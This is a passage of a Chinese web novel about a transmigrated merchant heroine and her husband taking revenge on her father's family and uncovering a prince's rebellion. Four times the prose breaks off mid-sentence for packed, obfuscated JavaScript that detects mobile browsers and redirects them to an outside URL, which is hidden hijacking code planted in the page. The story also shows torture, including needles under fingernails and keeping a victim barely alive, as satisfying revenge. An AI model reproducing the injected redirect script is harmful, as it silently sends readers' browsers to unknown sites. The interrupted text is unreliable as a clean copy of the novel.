言正廷似乎看穿了她的心事,正色道:“清语,我知道你怪我当日痊愈后就离开了,但我并非放弃你,放弃我们之前的情感,而是我清楚你的秉性,我想给你时间想清楚。” “我现在已经想清楚了,我已经接受了与你和离这个事实,请不要在一次又一次的伤害我之后再来哄我。你以为打一个巴掌给一颗甜枣对我来说还有用吗?” “不是这样的,你听我解释。” 20.下落 言正廷将他离开后所做的一切都如实交代。 他并没有放弃顾清语,而是一直在暗中默默守护。 除了为她铲平一切阻碍以外,还一直提防着兄长以及幕后之人的报复。 这次他能及时现身相助,一是他查到原来顾老爷一直在暗中使绊子,不想让男团顺利演出。 眼见着男团已经大势已定,他又买通了那些妇人前来造谣污蔑,目的就是要阻止她继续发展艺人事业。 顾清语羽翼渐丰,已然威胁到了他在京中商界的地位。 而这次出事的娱乐场幕后大老板,正是顾老爷本人,他竟如此歹毒的设下圈套引自己女儿上钩。 二是他一直想找机会向她郑重道歉,坦白一切。 可她偏偏醉心事业,对外间之事充耳不闻。 无奈之下才会私下威胁男团成员,让他们把演出内容和服装倾囊相授,并让他偷偷参与其中,给她一个惊喜。 顾清语心中早已猜到一二,如果不是他,很多事情不会进展得如此顺利。 只是在听完他的自述后,见他毫不隐瞒才稍微消气了一些。 可那些让她心痛难过的往事难道就这么算了吗? 她自是不肯的。 “老板,你就原谅言公子吧,他真的很有诚意!” “就是,你都不知道他为了学这只舞曲付出了多少,本就有伤在身,差点就弄得旧疾复发了却还要坚持。” 男团成员们你一言我一语的为言正廷说着好话。 顾清语就纳了闷了,到底他给这些人灌了什么迷魂药,才让他们如此卖力帮他。 其实,言正廷灌的不是迷魂药,而是许了他们一个新身份。 他许诺只要能帮他追回顾清语,不仅能让他们成为大越最受欢迎的男团,还会将他们培养成大越第一探案天团。 自顾清语成立男团那日起,他就有了要把男团成员收为己用的想法。 他想要利用到处巡演的男团,建立起一个遍布大越,甚至遍布全天下的情报网。 只要到处都有他们的探子,那今后无论来自何方的威胁,他们都能从容面对。 他做的这一切,都是为了保障顾清语的安全。 她太爱惹祸,若不能事事先一步知晓,提前做好应对,今后还不知道会面对多少幕后人这样的危险。 他绝不是因为每天吃醋吃得快要发疯,才想要加入男团的。 更不是因为对那群整天和她泡在一块的男子恨得咬牙切齿,怕自己一时控制不住会杀了他们,才要将他们统统变成自己人的。 绝对不是! 在男团成员和言正廷的左右夹攻之下,顾清语头痛欲裂。 虽然没答应原谅言正廷,可至少没有将他立刻赶走。 言正廷也就自觉当做她已经默许自己留在男团了。 接下来的日子,言正廷可谓是无所不用其极。 每天变着花样地讨顾清语欢心,也不管她接不接受,乐不乐意。 一会儿变戏法,一会儿送美食,就连顾清语来了月事他都知道,暖炉、暖宫汤一应俱全。 坊间都笑话他是妻管严,说他丢了男子的尊严,像条舔狗。 他表面上是嘻嘻哈哈毫不在乎,可凡是议论过他的人,总是会倒大霉。 不是莫名挨了一顿揍,之后对方却说揍错了人,就是好好的铺子突然就生意惨淡经营不下去关了张。 他没有反驳过任何一个议论他之人,可那些人却渐渐消失不见。 久而久之,这京城里竟无人再敢妄议他半句不是。 他的这般讨好,顾清语很是受用。 她喜欢看他费尽心思最后却碰一鼻子灰的糗样,这让她有一种报复的快感。 她的这点小心思,言正廷当然是知道的。 只是每次看她捉弄他之后“小人得志”的模样,他发自内心的满足。 故此,也便由得她任意妄为了。 在外人看来,这两人是一个愿打,一个愿挨。 而两人也对这猫捉老鼠的游戏乐在其中,和乐融融。 日子就在顾清语的小金库日渐丰盈中流走。 她如今已是京城里小有名气的富婆,而言正廷倒是落了个吃软饭的名头。 他却厚着脸皮对顾清语说,能吃她的软饭是他这辈子最大的荣幸。 这天,他又为顾清语带来了两个好消息。 自上次他查出顾老爷设圈套加害顾清语之后,他就开始着手调查顾老爷的各项产业。 未承想,他表面是个正当商人,背地里却是赌场、青楼、烟馆等不合法的营生样样沾染。 查清楚后,他便开始想方设法处处打压顾老爷。 先是逼得他关停了地下赌场和烟馆,又利用侯府的地位让府衙查封了他好几家不合法的娱乐场。 一时间,顾老爷的不正当收入全部遭遇重创。 而合法经营的那些营生早已出现亏空,再加上顾清语的带货分走了大部分的客流和利润。 如今的京城首富已是江河日下,为了维持所有营生的正常运转都已是焦头烂额,暂时不会再有机会来找顾清语麻烦了。 顾清语听后,对言正廷的行动力很是满意。 可是言正廷并不知道,如果将顾老爷逼入了绝境,说不定他会破釜沉舟来抢夺原主娘留下的稀世珍宝。 关于碧云玺的事,顾清语并未告诉言正廷。 从前是因为不信任,如今是因为没有合适的时机,她想改日找个机会再与他细说此事。 言正廷见顾清语没什么反应,以为是她不满意自己没有彻底扳倒顾老爷。 只得继续道出他的新发现。 顾老爷那些正当营生之所以会出现亏空,其实是二姨娘在暗中转移财产。 不仅如此,二姨娘的儿子顾启峰表面上规规矩矩,暗地里却嗜赌成性。 在另一个城中恶霸,也是他们的旧相识——周四爷的赌场里,欠下了巨额赌债。 尽管那二姨娘转移的大部分财产都用于还债了,可顾启峰却仍旧不肯收手。 不断欠债,又不停还债,如无底洞般永远无法填满。 有意思! 这么看来,曾经这二姨娘想要谋害自己的仇,总算是有机会报了。 顾清语向言正廷投去感激地目光。 言正廷许久没有见过顾清语如此兴奋了,见她高兴,他也甚是得意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277894|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正想将第二个好消息告诉她,却听顾清语突然开口问道:“当日你在河边救了我,却从未问过我怎么落的水,难道你不好奇吗?” 他一时竟不知如何回答,因为当初他真的以为顾清语是因为不愿嫁他才自行了断的。 “你不会以为我是自尽吧?” “什,什么?你当初不是自尽?” “当然不是!” “那是有人谋害你?!是谁?我现在就去杀了他!” 言正廷双眼赤红,似乎下一秒真的就要去杀人。 吓得顾清语赶紧拉着他的手,让他冷静。 只是这手一拉,言正廷就立刻成了一只慌张的兔子。 原本赤红的双眼染红了害羞的双颊。 模样倒是极为可爱,只是变脸太快,让顾清语一时竟不知要说些什么了。 言正廷倒是很快恢复了正常。 “清语,你快告诉我,谋害你之人究竟是谁?我一定帮你报仇!” “你冷静点听我说,仇自然要报,但是要报仇就要做得彻底,不能只报一半。” 其实,这个仇并非为她而报,而是为死去的原主。 所以,她不仅要二姨娘付出生命代价,她还要顾家全家都为曾经欺凌过原主顾雨曼而付出代价。 “清语?”见顾清语突然愣了神,言正廷小声提醒。 “当日推我下水之人,是二姨娘。” “什么?!你只是一个晚辈,即便再是不合,她为何要对你下此毒手?” “因为,她想要我手里的一件宝贝。” “宝贝?什么宝贝?” “碧云玺。” 言正廷倒吸一口冷气。 碧云玺的传说他是听过的,只是从未有人见过,他便一直以为只是传言,没想到这宝物竟在顾清语手上。 这下,他的头更痛了。 顾清语新仇旧恨一大堆,如今还有碧云玺在手,如果传了出去,那便不是普通的杀身之祸那么简单,很可能连整个侯府都会受到牵连。 可转念一想,顾清语连这么重要的消息都告诉了他。 那是不是说明,她已经原谅他,并彻底接纳他了? “清语,如此重要的事你都愿意告诉我,你是不是已经不怪我了?” 顾清语忍不住翻了个白眼。 我在和你说正事,你却只想和我谈恋爱? 正想发作,言正廷却极为懂事的赶紧找补道:“这些事日后在说,现在最为要紧的,是有何人知道碧云玺的事?碧云玺现在在何处?” 算你懂事。 顾清语将如何发现碧云玺,并且怀疑二姨娘和顾老爷为了碧云玺想要杀了原主娘还想杀她的事一五一十告诉了言正廷。 言正廷是没想到,作为首富的顾老爷为了抢夺宝物竟如此心狠手辣。 看来他对他的打压和制裁还是太轻了。 “清语,这件事交给我来查,我一定还你娘,不,咱娘一个交代。” 顾清语感激地点了点头。 言正廷着急去调查,正想离开,却突然想起了什么,蓦地转身回来,一字一句道: “对了,忘了告诉你,我找到清檀的下落了。” 21.报仇 “什么?!” 顾清语乍然斗立,甚至碰掉了桌边的茶杯。 “她在哪?她还活着对不对?” “还活着,只是,不太好。” 风雅颂关张之后,原来那批提供“特别服务”的姑娘有的被留了下来,在暗中继续提供服务。 也就是后来被发现陈尸郊外的那几位可怜人。 其余的则被卖到了关外,有的给人做小妾,有的给人做奴役,好歹命是保住了。 不幸中的万幸,清檀就在被卖到关外的这一批。 听说清檀还活着,顾清语总算是松了口气。 难怪无论怎么打听也找不到关于她的消息,原来是被卖到了关外。 她始终对清檀的事耿耿于怀。 曾答应过要救他们于水火,如今却连幕后之人都没能找到。 言正廷又怎会看不穿顾清语的懊恼,轻声安慰道: “夫人别担心,我已与关外几家娱乐场进行接洽,没问题的话,我会带着男团到关外去演出,甚至可以再发展几个塞外男子做男团成员,到时候,我一定帮你把清檀救出来!” “当真?” “当真!” “那你千万要小心,那幕后之人定在关外布有眼线,切不可让自己和男团陷入危险。” “夫人这是在关心我吗?” “谁关心你啊!我是关心男团,我们将人带出去,就要对人家的人生安全负责。” “是是是,夫人说得是!” 顾清语没有发现,言正廷已经顺势将她的称谓从“清语”又改为了“夫人”。 她甚至忘了要去反驳,他还在考察期,就默认了与言正廷的夫妇身份。 奸计得逞的言正廷暗自得意,忍不住别过头偷笑。 “你笑什么?” “没什么。对了,夫人,顾家那边你打算怎么办?” “你说顾启峰欠的是周四爷的债?那我们就去找周四爷,谈谈怎么‘招呼’我那好弟弟。” “可是上次女子商会的事,周四爷与我们结下了梁子,估计还一直在暗中对我们使坏呢,怎会肯轻易合作?” “生意场上没有永远的朋友,也没有永远的敌人,只有永恒不变的利益。不过在此之前,我还要麻烦你一件事。” “夫人说的这是什么话?怎么能叫麻烦呢?只要你吩咐下来,我便是万死不辞……” 言正廷还没说完,就被顾清语捂住了嘴。 “别胡说,什么死不死的。” 四目相对,此刻两人的眼里终于只剩下对方。 言正廷拾起顾清语盖在他唇上的手,顺势亲亲一吻。 见顾清语没有反抗,便附身向前,想要吻上那日思夜想的唇。 “这次,该得偿所愿了吧?” 顾清语本没打算这么快原谅言正廷的,可在这烛火摇曳的一室柔情之下,谁又抵挡得住这份情不自禁的炽热。 她缓缓闭上双眼,却没有等到言正廷的吻。 “啪!”烛台突然倒了。 柔情蜜意瞬间全无,那个言正廷日思夜想的吻就这么再次被打断了。 “该死!”言正廷忿忿不平。 “咳!咳!”顾清语只得假装咳嗽掩饰尴尬。 言正廷还想欺身上前,却被顾清语无情推开:“先说正事。” “你说。”心痒难耐的言正廷此刻恨不得将这烛台劈成两半。 “我想你帮我查探一下,我母亲当年的死因是否有可疑。” 一听是如此正经之事,言正廷也立刻恢复常态,详细问起了顾清语母亲的旧事,并许诺她一定尽快查出真相。 很快,他便为顾清语带来了消息。 虽然事情已经过去了多年,她母亲自尽的那家客栈也在事发后快速关了张。 可他还是轻而易举就找到了当年的客栈老板。 客栈老板因为有人死在了自己的铺子里而对此印象深刻,他清楚地记得,当日顾母并非一个人前来,还有一名男子与她同屋。 事发后,也是那男子给了他一大笔钱让他立刻关张离开。 而那男子,正是顾老爷顾成勋。 果然如此! 原主娘的死不是意外,即便不是顾老爷亲自动的手,也定与他有关。 事到如今,是否他亲自动手已经没有意义了,只要确定是他害死了原主娘,顾清语就定要为原主报了这个仇! 几日后,顾清语与言正廷就带着满满的诚意去拜会这位昔日的旧仇人,周四爷。 刚一进门,周四爷就给了一个下马威。 他叫了上百号打手将二人团团围住,并表示不卸掉他们一条胳膊别想出他周家大门。 顾清语却不急也不恼,只是向言正廷使了个眼色,就见他将一整袋金灿灿的金条扔在了周四爷面前。 周四爷却只是瞟了一眼,嗤笑道:“这点东西就想买通我?你当我周四爷是要饭的?!” “四爷说笑了,这点黄金怎么可能让您消气呢?这只是我的见面礼,若四爷愿意详谈,我还有大礼奉上。” “臭丫头,去打听打听我周四爷在京城的名头,岂是你能相提并论的?竟还妄想与我谈条件?” “那如果我说,将我在城西所有的商演和带货都交给周四爷的娱乐场,并且分你五成的利润又如何?” 顾清语的条件一出,周四爷立马就变了脸。 “你说真的?” “周四爷可以问问,我顾清语做营生可有说话不算话过。” 果然,在利益面前,没有永远的仇人,更何况他们还有共同的敌人。 没多久,周四爷就笑嘻嘻的送他们出了门。 临走前还乐呵呵的谄媚道:“顾氏伉俪不仅郎才女貌,营商手段也是绝佳,果然是天生一对啊!” 顾氏夫妇? 言正廷对自己就这么失了姓名极为不满,转身前狠狠地瞪了周四爷一眼。 周四爷一个激灵,不知道自己说错了什么,却总觉得好像无形中被一只豺狼给盯上了。 顾清语倒是很满意这个称呼。 凭什么女子总是要冠以夫姓,言正廷不是总说甘愿做她背后的男人吗? 那夫冠妇姓,又有何不可? 她不是没有留意到言正廷黑了脸,可是她就喜欢看他又憋屈又无可奈何的模样。 只是后来听说,周四爷有一晚正在小妾床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋漏偏逢连夜雨,顾家已然成为空壳,早就没钱了的消息开始不胫而走。 要债之人开始变得越加焦躁,他们甚至砍倒了一颗三人合抱的大树,合力撞开了顾家大门。 人群蜂拥而至,有的人冲着顾老爷而去,而有的人则冲着顾启峰而去。 很快,周四爷的人抓了顾启峰关进了专门为欠债人准备的小黑屋里。 听说,里面惨叫连连,惨不忍睹。 而顾老爷平日里极为宠爱顾启峰,救子心切再加上被那些和他有生意往来的商人逼得没有办法,只有变卖家产来还债。 顾清语趁着顾老爷低价出手资产的机会,趁低吸纳,买下了不少她看好的产业。 如此说来,顾家的产业还是顾家的,只是易了主,却没人知道新主是她罢了。 不出半月,顾老爷的产业几乎卖光了。 却只刚刚好填上了顾启峰欠下的赌债。 他去找周四爷要人,未承想却要回来了一个彻彻底底的废人。 22.蓄谋已久 顾启峰在小黑屋里每日遭受着非人的折磨。 好几次已经到了死亡的边缘,却又被救了回来,待伤势稍缓,又继续受刑。 如此循环往复,他早已被折磨得精神崩溃,意志丧失。 顾老爷见到他时,他的双手双脚已经被打断,伤口处的血肉早已腐烂生蛆。 最重要的是,人傻了。 无论谁和他说话,他都没有任何反应。 活脱脱成了一个清醒的“植物人”。 这可是顾清语精心为他“争取”的结局。 周四爷本是想折磨两天后直接将顾启峰扔进乱葬岗喂豺狼。 可顾清语却千叮万嘱一定要留下一口气,将死又不能死,求生不得求死不能才最为解气。 看着已然成为废人的宝贝儿子,顾老爷痛心疾首,二姨娘更是寻死觅活地逼着顾老爷去找人要个说法。 顾老爷自是不可能就此罢休的。 那周四爷本就是恶霸,处处是他的黑恶势力,他们在暗处是使不上力了。 在明处,他从前多少有几分薄面,便去找了那些曾与他交好的达官贵人。 没想到墙倒众人推,往日那些与他推杯换盏之人早就不再是他的朋友,甚至连面也不肯见。 无奈之下,他只得去报官,府衙却说欠债还钱本是天经地义,人虽然伤了却并没有性命之忧,只是象征性的定了个伤人之罪,打了周四爷手下几十大板,便不了了之。 顾老爷第一次体会到了孤立无援的滋味,他想要去找顾清语帮忙,可是却连言府和顾清语几家铺子的方圆一里也靠近不了。 他只得让二姨娘站在街头对顾清语破口大骂,说她狼心狗肺,心如蛇蝎。 顾清语根本不在意。 因为她早在顾家落魄前,就安排了人将顾老爷为娶二房逼死原配,以及她自小在顾家如何忍气吞声、备受欺凌之事传遍了京城的大街小巷。 如今谁人不知顾家此番境地不过是顾老爷抛弃糟糠、迫害子女的现世报罢了。 任那二姨娘在街头巷尾骂得口干舌燥,换来的也只是人群对她的唾弃和鄙夷。 顾清语躺在侯府的贵妃椅上,吃着言正廷为她剥好的葡萄,心里别说有多舒坦了。 见顾清语满意,言正廷也很是高兴。 偷摸着亲了一口顾清语的小脸,被顾清语一扇子打在脑袋上,骂他耍流氓,他却笑得合不拢嘴。 高兴归高兴,他提醒顾清语,顾老爷并非善茬,必不会善罢甘休。 顾清语却了然于心:“放心,我知道他想干嘛。” 果不其然,几日后顾清语在一处小巷里遭遇了刺客。 有言正廷在她身边,她自然是安然无恙。 没多久,又传出侯府进了贼。 言家是武将世家,守卫极为森严,一般的小贼轻易不可能去招惹。 可顾老爷找来的贼,不仅进了侯府,还偷走了东西。 顾老爷已被逼入了绝境,甚至没有仔细检查那贼人交给他的碧云玺是真是假,就想带着东西跑路。 未承想,才刚出城门,就被等候多时的衙役亲手抓住。 府衙上,刺杀顾清语的刺客与进屋偷东西的贼人纷纷指认顾老爷买凶杀人。 而言正廷也将他收集到的顾老爷多年来谋财害命、强取豪夺的证据一一呈上。 人证物证具在,顾老爷性命堪忧。 他想让二姨娘用他最后的身家去行贿府衙留他一条命,可那二姨娘却早已带着她这些年卷的钱和小女儿跑得无影无踪,连躺在床上的亲儿子也不管不顾了。 他的三夫人害怕受到牵连,也及时与他一刀两断,带着子女回了娘家。 顾老爷败了,顾家也彻底完了。 据说,秋后处决的判书下来那一天,顾老爷在牢房里大小便失禁,人已经疯了。 顾清语带着原主娘最喜欢的兰花,去墓碑前向她报喜。 “我终于替你报了仇,你泉下有知,定会感到高兴吧?” 不过,她女儿的仇还没报。 二姨娘把原主推下了河,她死了顾清语才有机会来到这里。 她不能就此放过二姨娘。 “正廷,绝不能让二姨娘就这么跑了。” “夫人放心,我已经派人去找了。她曾经伤害过你,我绝不会让她就这么轻易逃走。” 以言正廷的手段,顾清语是相信他能抓到人的。 而以他的腹黑程度,二姨娘在他手上必定会惨不忍睹。 交给他来办,她很放心。 果然不出三日,二姨娘就被抓了回来。 可惜的是,让她那刁蛮女儿跑掉了。 顾清语特地向周四爷借了他的小黑屋,她要亲自,为原主报仇。 被拴在铁链上的二姨娘本来还瑟瑟发抖,在看到顾清语时反倒是放松了些。 “原来是你。我当是谁这么有本事能把我抓回来,没想到是你这个没用的东西。” 到了这个地步,顾清语在她眼中竟还是个“没用的东西”。 顾清语并不恼,因为二姨娘眼中那软弱可欺之人并不是她,而是早已被害死的原主。 今日,她要让二姨娘好好感受,她的儿子曾经历过的一切。 顾清语把在电视里见过的酷刑统统原样照搬。 试了一圈下来,没想到是容嬷嬷的针刺指尖最让人痛苦。 二姨娘撕心裂肺的惨叫混着恶毒的咒骂,每日准时准点从巳时一直响彻至申时。 顾清语很有道德,为不打扰附近的邻居,从不会在休憩时间用刑。 二姨娘很快就撑不住了,先是向顾清语求饶,见求饶不成又改为咒骂。 连日折磨之下,终于把当年如何害原主娘和如何弄死顾清语的事说了出来。 杀害原主娘的凶手果然是她和顾老爷,一切都是为了那碧云玺。 二姨娘终于不再嘴硬,而是苦苦求饶。 “我什么都说了,看在大家同一屋檐下多年的份上,饶我一命吧!” “你不说同一屋檐下还好,一说我就想起这么多年来你是如何欺辱我的,你以为这么简单就完了?” “你还想怎样?” “你女儿往哪儿跑了?” 二姨娘愣了愣,没想到顾清语竟狠毒到连她的女儿也不肯放过。 可是,她已经没有力气再对抗顾清语,如果说出女儿下落说不定还能保住小命。 思虑片刻后,她竟真的供出了她们本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304292|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算逃离的路线。 都说虎毒不食子,顾清语没想到这二姨娘为了自己活命,可以扔下残废的儿子,也可以出卖逃命的女儿。 顾清语的本意是想让她遭受心灵的折磨和道德的谴责,没想到她竟自私到如此地步。 而二姨娘心里想的却是,只要能保住性命,将来定会对顾清语狠狠报复。 只是,她再也没机会了。 顾清语从来就没想过要放过她,只是懒地再与她浪费时间。 直接将她交给了周四爷的人。 据说,后来她被周四爷的手下折磨疯了。 一次,趁着看守之人打瞌睡跑上了街,却被疾驰而过的马车撞到,当场死亡。 她终于为原主和原主娘报了仇,只是那逃脱的顾雨欢却下落不明。 那女子与她娘如出一辙的歹毒,若不能早日找到,将来必有后患。 但言正廷与关外娱乐场约定的演出时间已到,不能再耽搁。 且她一直心系清檀的安危,也盼着言正廷早去早好。 是日,她主动来找言正廷,催促他抓紧时间前往关外。 言正廷很是不高兴。 好不容易主动来找他一次,竟是催他赶紧走? 言正廷像个孩子般拧巴着,顾清语与他说话也不答,问他怎么了也不肯说。 你别说,他那张清冷俊俏的脸上,气鼓鼓的鼓着腮的模样,还怪好看的。 大有一种腹黑俏娇娘的气质。 顾清语忍不住抚上了那张娇俏的脸,柔声安抚: “好啦!别生气了,等你把清檀带回来,我就原谅你了。” 其实,她早就原谅他了。 “当真?” “当真!当真!” 言正廷高兴地像个得到奖励的孩子,抱起顾清语就转了好几圈。 一个不小心却被桌角绊倒,二人顺势摔倒在了言正廷的床上。 言正廷怕摔疼了顾清语,在下坠的瞬间愣是翻转身体,给顾清语做了肉垫。 顾清语整个人压在言正廷身上,姿势很是尴尬。 她想立刻起身,却发现整个人已经被言正廷死死抱住,根本动弹不得。 望着言正廷眉目含情的眸子,顾清语开始怀疑,这一跤是他故意摔的。 两人还从未如此贴近过。 每一次的呼吸,仿佛都让彼此更加亲近了。 几次接吻失败,让言正廷已然把持不住了。 他的呼吸越来越急促,双耳逐渐染上了红晕。 顾清语也敏锐地察觉到了他身体的变化,她却并不抵触。 要不,这次她主动一回? 脑子里才刚冒出这个想法,言正廷却突然翻身,把她压在了身下。 这家伙,不会是连她这点小心思也能看穿吧? 言正廷露出一抹狡黠的笑容。 他早已命人在门口把守,确保不会再有意外发生。 这一次,该不会再有人来打扰了吧? 他的确是蓄谋已久,不过是想在临走前真真正正地吻一回自家夫人。 这个要求不过分吧? 不过分。 二人此刻心意相通,眼看那蓄谋已久的吻终于要实现了。 23.兑现承诺 “少爷,夫人请你过去一趟!” 言正廷还没来得及触碰到顾清语的双唇,门外家丁的声音却再一次搅了他的好事。 他瞬间青筋暴起,从床上一跃而起,飞奔到门外对着家丁就是一顿拳打脚踢。 发泄完后他怒气冲冲地朝言母房间走去。 走到一半,却又转头回到房间,柔声道:“别走,等我。” 可怜的家丁不明白自己做错了什么要遭受如此无妄之灾。 他本想向少夫人告状,却发现少夫人的脸色竟比少爷还要难看,只是耳边还残留着可疑的红晕。 此刻,他终于知道自己犯了什么错。 赶紧灰溜溜地逃跑,迅速消失在几里之外。 顾清语等了许久,言正廷才回来。 不过看他的神情,应该已经没了兴致。 “怎么了?” “母亲说,父亲送来家书,一个月后就将与二哥一起班师回朝。” “边关战事结束了?” “应该是结束了,只怕,我们的好日子也要结束了。” 不用想也知道,那两位回来之后,他们将面对一场怎样的暴风骤雨。 顾清语倒是看得很开,她安慰言正廷,日后的事日后再说。 言正廷点了点头,表示他仍然可以如约前去关外,并答应顾清语,一定会把清檀救回来。 两日后,二人依依惜别。 顾清语本是想要一同前去的,可言正廷说关外毕竟不是自己的地盘,要是真起了冲突怕护不住顾清语。 她理解言正廷的难处,答应在京城静候佳音。 临走前,她在言正廷的脸颊轻轻落下一吻。 在他耳边柔声道:“我等你回来,完成我们未完成的事。” 言正廷将顾清语揽进怀里。 这是他们第一次正式的拥抱,抱了很久也舍不得放开。 直到男团成员过来催促,才依依不舍地放开。 “等我回来。” “等你回来。” 这是他们之间的约定。 言正廷一走就走了近二十日,期间一直和顾清语保持书信往来。 顾清语每日盼他的信盼得望穿秋水,在终于得到他找到清檀的消息时,一颗悬着的心才落了下来。 言正廷到了关外之后,第一时间就让男团开始搜集情报。 他在招收男团成员的同时,将自己曾散布在关外的探子再次召集起来,正式建立起一个完整的情报网。 同时,男团成员也在他的培养下,越来越具有搜集情报的触觉。 在演出的同时,为他搜集到不少有用信息。 很快,他便找到了清檀的具体位置。 买清檀的这家人很是警惕。 在上次探子找到清檀的下落之后,没多久就趁夜搬了家。 细探之下才知道,原来这家人怕有人来寻清檀,在一个地方落脚不会超过半年。 这一次,言正廷极为谨慎。 在探清楚了那家人都出门之后才去寻到清檀。 可是在见到清檀的瞬间,他还是吃了一惊。 他曾在风雅颂里见过清檀一次,可如今的她却早已被折磨得不成人形。 当她见到言正廷时,第一反应就是躲。 直到他拿出了顾清语交给他的信物,她才终于相信他们真的是来救她的。 在看到信物那一刻,清檀泪如雨下。 她与顾清语本是萍水相逢,她却一直记得对她的承诺。 她答应过要救她,就算到了关外,竟也真的来救了。 时间紧迫,容不得清檀再行感伤,言正廷带上清檀就迅速离开。 他将清檀乔装成男子藏在了他的随行人员里。 通过清檀,他终于摸到了幕后之人的一点线索。 趁热打铁,他继续顺藤摸瓜。 从关外的地下组织一路探到了邻国的摄政王,又顺着摄政王的线索找回大越。 当终于确定那幕后之人时,言正廷瞠目结舌。 此人竟是当今皇帝的表亲——喻亲王。 他不仅与摄政王私下达成了某种协议,甚至通过关外的地下组织收集了大量军火与粮草。 其目的不言而喻。 喻亲王虽只是表兄,却自小与皇上一同长大。 作为伴读,皇上待他极为亲厚,与皇上师承同一个太傅,从小受着与皇上同样的尊荣。 而皇太后对其也如亲生儿子般善待。 喻亲王平日里待人宽厚,亲和有礼。 不仅没有亲王的架子,甚至因为体恤民间疾苦而大获大越子民的好评。 然而,世人眼中的大善人却在暗中做出了凌虐女子、谋朝篡位这等如此大逆不道之事。 想来,他曾表现出的所有亲和与善意全都只是为了招揽人心而营造的假象。 言正廷瞬间对此人厌恶至极。 因为他的兄长,也是这样的人。 喻亲王造反,除了关外和邻国的支持外,在大越境内也定有人在帮他。 在没找到那个人之前,绝不能打草惊蛇。 男团在关外的商演即将结束。 为保障清檀的安全,言正廷决定不再久留,迅速返回大越。 在顾清语见到清檀的一瞬间,二人相拥而泣。 碍于隔墙有耳,言正廷赶紧把两人带回春风亭的密室内。 待两人叙旧结束之后,言正廷拜托十一娘好生照顾清檀,便急匆匆的带着顾清语回了府。 顾清语还以为言正廷是惦记着临走前在他耳边的承诺,没想到他却带回了关于喻亲王的消息。 那些朝堂之事顾清语是不懂的,但是她却知道,这天下若是乱了,必会影响她的营生。 她不在乎谁当皇帝,谁想造反。 若是影响到她搞钱,就万万不行。 可言正廷却是担忧得不行。 她看得出来,言正廷虽整日跟在她身后帮她做营生、探消息,但他始终是堂堂男儿,拥有自己的理想与抱负。 他出生于重臣之家,自小向往仕途,期望有朝一日能在朝堂一展才华。 只是被兄长陷害、打压,才会变成了如今世人口中的“纨绔”。 言正廷毫无保留的支持了自己这么久,也是时候回报他的付出了。 顾清语决心要帮言正廷迈入朝堂。 她有钱,侯府有势,唯一的阻碍,便是言正廷的恶毒兄长。 在解决掉言正廷担忧的喻亲王后,她必将亲自为言正廷扫平其兄长这个障碍。 除此之外,言正廷还向顾清语坦白了他欲将男团打造为大越第一情报机构的想法。 并且这个情报网,已在关外形成初步规模。 他本以为顾清语会怪他先斩后奏,没想到她极为赞同。 其实,自她发现风雅颂之事后,她就一直想要建立起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此顺从乖巧的顾清语,愣是把言父言母杀了个措手不及。 他们甚至事先想好了说辞,若顾清语不从,就以她不守三从四德为由直接替言正廷休妻。 然而,她却从了。 言父不悦道:“你又耍什么花样?” “公公这是何意?你让我跪我便跪了,何时耍花样了?” 好有道理,言父竟一时无法反驳。 “那你上次怎么不跪?”言母在旁帮腔。 “上次是媳妇不懂事,还望家公、家婆海涵。” “我知道你为何装乖巧,你父亲判了秋后处斩,你没了家底没了后台,所以怕了是吧?” 这次轮到言兄发话了。 “那倒不是。兄长可以随意去这京城里问问,谁不知道我父亲并不宠爱我,我的靠山从来就不是娘家。” “口气倒是不小,那你的靠山是谁?那个春风亭里卖笑的十一娘?” “兄长,请你尊重我的朋友,她和里面的所有姐妹,都不是卖笑的。”她顿了顿,继续道:“我的靠山,从来都是我自己。” “还有我!” 24.离开侯府 言正廷不知何时出现在了门外。 众目睽睽之下,言正廷丝毫没有了当初在其父面前唯唯诺诺的模样。 他昂首挺胸地走到父母面前,深鞠一躬道:“父亲、母亲,清语既然嫁入我们言家,我们就应该支持她、爱护她,成为她的依靠。为何你们不但不维护,还要这般为难她?” 言父微怒:“为难?让她不要出去抛头露面,好好呆在府里享清福你竟反倒说我们为难她?!” “你们可曾问过清语,她是否愿意整日被囚困于府内?是否愿意做一个无所事事的少夫人?是否愿意享你们口中所谓的‘清福’?” “她为何不愿?嫁入侯府是多少女子求都求不来的福份,难道她还不想要不成?” “那是你们以为的福份,清语要的不是这些。她要的是自由、是价值、是随时可做自己想做的事。” “那她想做的事是什么?就是整日和一群男男女女混在一块儿,唱曲儿、跳舞,不清不楚地醉生梦死是吧?” 